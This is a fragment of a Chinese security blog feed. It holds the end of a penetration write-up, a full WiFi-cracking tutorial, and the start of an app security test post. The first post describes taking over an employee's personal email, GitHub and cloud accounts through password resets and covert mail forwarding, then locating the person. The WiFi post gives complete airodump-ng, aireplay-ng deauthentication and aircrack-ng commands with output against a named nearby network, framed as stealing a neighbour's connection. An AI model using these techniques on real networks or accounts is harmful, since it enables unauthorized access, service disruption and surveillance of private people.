&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046305-cc25ac.B8nRyEiN_Zq715N.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;利用找回密码功能获得小米的绑定邮箱，同时也获取到了该员工常用的邮箱。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;利用之前获取到的口令使用网易邮箱大师登录网易邮箱，简略看了一下往来邮件，没啥太大的价值，为了避免后面打草惊蛇，给邮箱设置转发控下该邮箱。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046414-b9a2e1.ByKj4hJu_1fS78N.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;随即使用该邮箱登录小米账号。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046511-d8d49c.CT4t2ady_ZdLDDo.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;从个人收货地址获得了真实姓名和物理地址，确定了是属于该公司的物理地址，随即使用小米云服务定位到个人。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046658-a3bc30.Bl4bJjAz_Z3lJSJ.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;接着利用邮件中的地址，登录51job查看该员工简历。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046779-579563.CL-G3tok_Z1gOlRx.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;也从该员工的历史信息中确定曾经在在目标公司的员工。&lt;/p&gt;
&lt;p&gt;同时，从QQ邮箱中获取到了一些平台的账号。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046870-cef25d.hTF47E3r_10CXaV.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;从这些平台中登录了几个平台，不过都与目标无关系。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047000-5e7448.DKNDO7yz_1fW8M2.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;这个时候我已经在思考一个问题了，就是我拿了这么多信息，但是目标公司的OA，或者是内部交流使用什么渠道还不得知，无法从个人打到内部上去，内部肯定有一个通讯的地方，但是到目前为止，除了刚开始看到的技能手册，还没有看到该公司的任何信息，单纯的收集一些这种信息没啥用。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x4 协同软件信息收集&lt;/h2&gt;
&lt;p&gt;1.腾讯文档&lt;/p&gt;
&lt;p&gt;2.金山办公&lt;/p&gt;
&lt;p&gt;3.钉钉&lt;/p&gt;
&lt;p&gt;4.语雀&lt;/p&gt;
&lt;p&gt;5.企业微信&lt;/p&gt;
&lt;p&gt;6.微云&lt;/p&gt;
&lt;p&gt;7.飞书&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;第二天，我依然坚持不懈的去找供应商的信息。&lt;/p&gt;
&lt;p&gt;我在想既然官网没有业务或者OA，那么他们用什么平台去交流或者通讯呢？&lt;/p&gt;
&lt;p&gt;这里我尝试了语雀/飞书/有道云笔记/钉钉/印象笔记/WPS此类的软件，经过几次尝试后，大部分账号我都可以用获取到的口令登录，钉钉和企业微信我都可以登录，但是都需要手机号验证，也许用的是两个中的一种，没得搞。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047116-bf4ee1.ay4DvcHn_24qtj9.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;语雀和腾讯文档都没写啥东西，没得搞。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047232-d54f63.CBEa1SSQ_16XAO9.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;微云除了个人资料之外，没有任何公司的信息，也没啥用。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;那么只剩下WPS了。&lt;/p&gt;
&lt;p&gt;这个时候比较有意思的来了，金山文档多多少少肯定有在使用的，我用他的账号去重置为他的常用密码即可，因为他的密码规律都差不多，我赌他自己发现密码错了拿常用密码试进去了不会多想。&lt;/p&gt;
&lt;p&gt;但是呢，这个WPS的修改密码一直没有发到我的转发邮箱里面来，然后使用了github绑定的QQ+常用密码试进去了一个。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047326-6c4c9d.Ch8uDd0N_Z1KfxvJ.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047417-4ba61f.AcU2v_At_2jYpKQ.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;登录进去之后，yes！ 终于有目标资产的信息了，是一份公司的员工通讯录名单。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047567-80ed6d.BPBkBdQz_6PzPF.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;其实搞到这里就没准备搞了，因为确定不了目标使用的通讯平台，目标资产又较少，从员工打下去也不好说，接着从员工突破下去极有可能是徒劳的耗费时间。&lt;/p&gt;
&lt;p&gt;想想从员工搞过来这条路，运气蛮好的，凡是邮箱设置了一个二次登录验证或者他密码规则改强一点，都拿不到这份通讯录，这个员工基本上啥信息都拿到了，我感觉可能使用的是钉钉，但是钉钉需要刷人脸登录。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x5 拿到目标&lt;/h2&gt;
&lt;p&gt;搞到这里我就开始反思，这条路似乎是拿不下来目标了，一没拿到源码，二是没有拿到系统的密码，供应商也没有较大的突破。&lt;/p&gt;
&lt;p&gt;看他使用github的比较多，我决定修改他的GitHub密码去翻仓库代码。&lt;/p&gt;
&lt;p&gt;使用刚开始控制的新浪邮箱修改了他密码为他的常用口令，登录成功。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047660-02178d.CvM8bkFk_10jEPs.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047760-a83c5a.DAabWbY4_bKD8d.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在查看他的所有仓库代码的时候，意外的找到了目标系统的一个口令，密码是一个常见的密码，账号比较长，属于是运气极佳了。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;使用该账号登录成功，并且还是管理员属性。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539047841-1e6363.BLjN9Kwx_39Set.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;最终拿到后台权限。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x6 总结&lt;/h2&gt;
&lt;p&gt;没啥技术的一次渗透，运气是第一要素，环环相扣，干就完了。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>我偷他的网</title><link>https://s4u2self.cc/blog/wifi-security-analysis</link><guid isPermaLink="true">https://s4u2self.cc/blog/wifi-security-analysis</guid><description>我偷他的网</description><pubDate>Sun, 06 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本文章仅作为技术学习交流，请不要随意拿邻居开刀。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;提前准备&lt;/h2&gt;
&lt;p&gt;你需要如下材料&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个支持监听的无线网卡设备&lt;/li&gt;
&lt;li&gt;一个强大的WiFi字典&lt;/li&gt;
&lt;li&gt;一个有WiFi的地方&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最近流量不够用了，想着偷个网试试，看了一下周边的WiFi布局。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491542768-8fcc44.D79FoTFk_1u5JTp.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;还是有一些WIFI设备的，然后开始尝试能不能搞一个来。&lt;/p&gt;
&lt;h2&gt;技术原理&lt;/h2&gt;
&lt;h3&gt;WiFi认证&lt;/h3&gt;
&lt;p&gt;大家都知道WiFi大略是有四种支持格式的，&lt;/p&gt;
&lt;p&gt;1、不启用安全&lt;/p&gt;
&lt;p&gt;2、WEP&lt;/p&gt;
&lt;p&gt;3、WPA/WPA2-PSK&lt;/p&gt;
&lt;p&gt;4、WPA/WPA2 802.1X （radius认证）&lt;/p&gt;
&lt;p&gt;一般我们设置的都是第三种。&lt;/p&gt;
&lt;h3&gt;WPA-PSK的认证过程&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491542893-0e5289.ay1foiXz_Pxs3B.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;1、无线AP定期发送beacon数据包，使无线终端更新自己的无线网络列表。&lt;/p&gt;
&lt;p&gt;2、无线终端在每个信道（1-13）广播ProbeRequest（非隐藏类型的WiFi含ESSID，隐藏类型的WiFi不含ESSID）&lt;/p&gt;
&lt;p&gt;3、每个信道的AP回应，ProbeResponse，包含ESSID，及RSN信息&lt;/p&gt;
&lt;p&gt;4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种，0为开放式、1为共享式（WPA/WPA2必须是开放式）&lt;/p&gt;
&lt;p&gt;5、AP回应网卡AUTH包&lt;/p&gt;
&lt;p&gt;6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包&lt;/p&gt;
&lt;p&gt;8、EAPOL四次握手进行认证（握手包是破解的关键）&lt;/p&gt;
&lt;p&gt;9、完成认证可以上网。&lt;/p&gt;
&lt;h3&gt;WPA-PSK认证四次握手认证的过程&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491542975-cb13d8.CvRpoDQD_Z1VKM9w.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;WPA-PSK破解原理&lt;/h3&gt;
&lt;p&gt;用我们字典中的PSK+ssid先生成PMK（此步最耗时，是目前破解的瓶颈所在），然后结合握手包中的客户端MAC，AP的BSSID，A-NONCE，S-NONCE计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。&lt;/p&gt;
&lt;p&gt;如图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543073-cf97c1.4jntrLzi_Z2cOCoN.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;所以还是爆破握手包的方式来获得密码，由于是通过暴力破解方式破解Wifi密码，所以你需要下载一些强大的字典，字典可以直接在Github上搜索，或者直接google。&lt;/p&gt;
&lt;h2&gt;开偷&lt;/h2&gt;
&lt;h3&gt;启动网卡&lt;/h3&gt;
&lt;p&gt;我这里使用的是Kali，插入无线网卡的时候请选择和虚拟机相连。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ifconfig-a /此命令查看所有网络设备器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543156-db4965.T3ufjPHn_Lj1Nj.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;如果你的连接没有出错，此时应该会有一张名为&lt;code&gt;wlan0&lt;/code&gt;的网卡设备。&lt;/p&gt;
&lt;p&gt;接着使用命令,激活这张网卡，如果不回显则开启成功。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ifconfig wlan0 up
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;激活网卡为监听（monitor）模式&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airmon-ng start wlan0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543244-03e7fd.mAuntRen_2lGbVd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;同时，你的无线网卡应该会有指示灯之类的亮起（看型号，是否启用成功还是看上图结果）&lt;/p&gt;
&lt;p&gt;得到监控模式下的设备名是wlan0mon，请记住这个名字，后续有用。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;探测周围无线网络&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;我现在连接的是我自己的手机热点，插入无线网卡后开始嗅探周围的WIFI设备。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng wlan0mon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看周边路由AP的信息。&lt;/p&gt;
&lt;p&gt;个人经验一般信号强度大于-70的可以进行破解，大于-60就最好了，小于-70的不稳定，信号比较弱。（信号强度的绝对值越小表示信号越强）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543334-45afb4.D7E0zZtT_s5pc7.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里我们将会对 游走老火锅 这个WiFi进行攻击，所以我们需要记录下对应的 &lt;code&gt;BSSID&lt;/code&gt; 以及 &lt;code&gt;CH&lt;/code&gt; ，这两个值分别是WiFi唯一标识和信道。 建议选择 &lt;code&gt;PWR&lt;/code&gt; 较小的WiFi，因为这意味着信号较好。&lt;/p&gt;
&lt;p&gt;如果要弄懂这些参数都是什么，我贴两张网上的图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543469-582611.3cqLg9DB_ZiN0d2.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543577-098ae0.Dlq9tBe-_Z10xo3k.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543679-402904.BnwxgBfr_ZzFAcW.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;选择要破解的WiFi，有针对性的进行抓握手包&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的 &lt;code&gt;-c&lt;/code&gt; 参数代表了信道号， &lt;code&gt;--bssid&lt;/code&gt; 代表此WiFi的唯一标识。&lt;/p&gt;
&lt;p&gt;执行后等待一会，输出结果如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;fundamental     CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
      BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
      14:75:90:9E:29:8E  -37   1       89     4294  299  11  270   WPA2 CCMP   PSK  203
      BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
      14:75:90:9E:29:8E  48:7D:2E:B3:04:DF  -29    0 - 1e     0        7
      14:75:90:9E:29:8E  E0:DC:FF:DC:5A:89  -40    0 - 0e   817     4259
      14:75:90:9E:29:8E  80:ED:2C:10:0D:8A  -63    0 -24      0        2
      14:75:90:9E:29:8E  FA:83:C4:C0:8F:DF  -60    0e-24     88       88
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从这个输出结果我们可以分析到的数据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前连接此WiFi的设备有4台，以及每台设备的唯一标识，发包数等。 下面的四行也就代表了四台设备，我们需要记录 &lt;code&gt;Lost&lt;/code&gt; 有变化的设备标识，这里我们选择标识为 &lt;code&gt;E0:DC:FF:DC:5A:89&lt;/code&gt; 的设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;好的，目前我们掌握了几条有用的信息，如下:&lt;/p&gt;
&lt;p&gt;WiFi唯一标识14:75:90:9E:29:8E&lt;/p&gt;
&lt;p&gt;连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89&lt;/p&gt;
&lt;p&gt;WiFi的信道11&lt;/p&gt;
&lt;h3&gt;监听握手包&lt;/h3&gt;
&lt;p&gt;下面我们需要根据以上信息进行抓包，尝试拿到包含密钥的握手包。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数说明：-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名)，也可以用其他工具抓包比如：wireshark、tcpdump，抓到握手包会有提示。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PS：我建议使用这条作为监听，–ivs 这里的设置是通过过滤，不再将所有的无线数据保存，而只是保存可用于破解的IVS数据报文，这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听，不过滤请求的话会有很多额外的请求，后续的图我将以这条语句作为演示。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;监听的时候如果有设备登录成功就会抓到握手包，那么此时客户端不一定有会有登录的包发送给服务端，怎么样去抓到这个带有认证请求的包呢，很简单，强行使客户端断开即可。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h3&gt;执行断网攻击获得握手包&lt;/h3&gt;
&lt;p&gt;下面我们需要利用 &lt;code&gt;Aireplay-ng&lt;/code&gt; 进行断网攻击，当用户重连WiFi时 &lt;code&gt;Airodump-ng&lt;/code&gt; 应该就能拿到密钥的数据包了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 &lt;code&gt;-0&lt;/code&gt; 代表攻击次数，后面的10也就是攻击次数、 &lt;code&gt;-a&lt;/code&gt; 代表要攻击的WiFi、 &lt;code&gt;-c&lt;/code&gt; 代表要攻击的已连接WiFi的设备。&lt;/p&gt;
&lt;p&gt;此命令的输出结果如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;fundamental     23:55:26  Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
     23:55:28  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
     23:55:29  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
     23:55:30  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
     23:55:32  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
     23:55:34  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
     23:55:36  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
     23:55:39  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
     23:55:41  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
     23:55:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
     23:55:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果这种方式多次失败，可以尝试去掉 &lt;code&gt;-c&lt;/code&gt; 参数，进行范围打击，对每个设备都进行攻击，这样拿到加密包的机率也会有提升。&lt;/p&gt;
&lt;p&gt;当 &lt;code&gt;airodump-ng&lt;/code&gt; 那边提示拿到 &lt;code&gt;WPA handshake&lt;/code&gt; 即代表拿到加密握手包，也就不需要断网攻击了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543782-d472bf.C2FqFm3K_Z1YUslG.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我实践中使用是把整个客户端打掉线让他们重连的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543881-c1e4f4.DrksIXkN_2nJnbp.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;当这边的shell提示WPA handshake就说明获取到握手包了，可以停止了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h3&gt;字典破解&lt;/h3&gt;
&lt;p&gt;下面我们通过准备的字典以及拿到的握手包进行暴力破解。&lt;/p&gt;
&lt;p&gt;执行如下命令进行破解&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aircrack-ng -w common.txt 203.ivs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-w&lt;/code&gt; 是我们的字典， &lt;code&gt;203-01.cap&lt;/code&gt; 是我们拿到的密钥握手包。&lt;/p&gt;
&lt;p&gt;我这个运气不错，密码相对简单。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491543962-224a59.BocXrnIH_Z1M7qjH.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;KEY FOUND! [ 99998888 ]即是密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679491544037-e63fb8.BdMNsIJO_X5euo.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;请善待你的邻居，不要随意拿邻居开刀。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>APP安全测试：从客户端信息泄露到越权</title><link>https://s4u2self.cc/blog/app-security-testing</link><guid isPermaLink="true">https://s4u2self.cc/blog/app-security-testing</guid><description>APP安全测试：从客户端信息泄露到越权</description><pubDate>Fri, 07 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;APP安全测试：从客户端信息泄露到越权&lt;/h1&gt;
&lt;hr&gt;
&lt;p&gt;前言&lt;/p&gt;
&lt;p&gt;最近在对某 APP 进行安全测试时，发现一个比较有意思的APP。从最开始的网络层暴力破解失败，到转向客户端逆向分析，最终发现隐藏在代码深处的逻辑后门，并成功利用报错信息泄露实现了未授权访问。&lt;/p&gt;
&lt;p&gt;这篇文章记录了整个渗透测试的思路演变，轻喷。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;免责声明&lt;/strong&gt;：本文仅用于技术交流与安全教育。文中涉及的漏洞已提交给相关厂商修复，敏感信息均已脱敏处理。请勿利用文中技术进行非法攻击。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;第一阶段：碰壁——失效的暴力破解&lt;/h2&gt;
&lt;p&gt;起初，我试图对 APP 的登录接口进行传统的暴力破解测试。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目标接口&lt;/strong&gt;：&lt;code&gt;POST /api/password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;经过观察 Burp Suite 的流量，我发现请求头中包含几个动态字段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;timestamp&lt;/code&gt;: 毫秒级时间戳&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sign&lt;/code&gt;: 一个 32 位的哈希值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212379640-3bb6f1.CO9NsyMX_Z2m0CDv.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;再此登录请求的接口之前，还需要访问一个token接口生成对应的accesstoken参数。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212379713-def61d.DFfYWbsB_Z1IKB77.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;逻辑等于是首先访问token接口，返回accesstoken参数，然后进入下一步登录的接口，携带accesstoken参数和singn参数作为登录请求的Header。&lt;/p&gt;
&lt;p&gt;测试了一下应该是只有头部签名校验：签名只校验 Header 中的字段（如 &lt;code&gt;appId&lt;/code&gt;, &lt;code&gt;timestamp&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;）。Body 的内容不参与签名计算。&lt;/p&gt;
&lt;p&gt;在这种设计下，&lt;strong&gt;只要时间戳在有效期内，你可以随意修改 Body 里的密码，签名依然合法。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果服务器采用的是这种策略，那么防重放机制其实是只校验了时间戳，但&lt;strong&gt;防篡改机制&lt;/strong&gt;只保护了 Header，没有保护 Body。这属于 API 设计上的缺陷，正确的做法应该是连带body一起保护。&lt;/p&gt;
